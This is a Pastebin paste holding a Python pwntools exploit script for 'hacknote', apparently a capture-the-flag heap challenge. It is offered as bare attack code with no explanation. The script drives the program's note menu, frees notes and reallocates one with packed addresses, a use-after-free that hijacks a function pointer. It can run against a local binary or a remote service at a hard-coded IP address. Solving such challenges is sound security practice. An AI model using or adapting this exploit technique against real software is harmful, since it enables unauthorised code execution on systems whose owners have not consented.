Advertisement
Guest User

Untitled

a guest
Jan 24th, 2017
114
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.99 KB | None | 0 0
  1. from pwn import *
  2.  
  3. LOCAL = True
  4.  
  5. def add_note(size,content):
  6. target.recvuntil("Your choice :")
  7. target.sendline("1")
  8. target.recvuntil("Note size :")
  9. target.sendline(size)
  10. target.recvuntil("Content :")
  11. target.sendline(content)
  12.  
  13. def del_note(index):
  14. target.recvuntil("Your choice :")
  15. target.sendline("2")
  16. target.recvuntil("Index :")
  17. target.sendline(index)
  18.  
  19. def print_note(index):
  20. target.recvuntil("Your choice :")
  21. target.sendline("3")
  22. target.recvuntil("Index :")
  23. target.sendline(index)
  24. print target.recv()
  25.  
  26. def pwn():
  27. add_note("16","A"*16)
  28. add_note("16","B"*16)
  29. add_note("16","C"*16)
  30. add_note("16","D"*16)
  31. del_note("2")
  32. del_note("0")
  33. add_note("8",p32(0x08048b09)+p32(0x0804a010)+"AAAA"+p32(0x0804a018))
  34. raw_input()
  35. print_note("2")
  36.  
  37. def main():
  38. global target
  39. if LOCAL:
  40. target = process("./hacknote")
  41. else:
  42. target = remote('209.190.1.131', 9003)
  43.  
  44. pwn()
  45.  
  46. if __name__ == "__main__":
  47. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement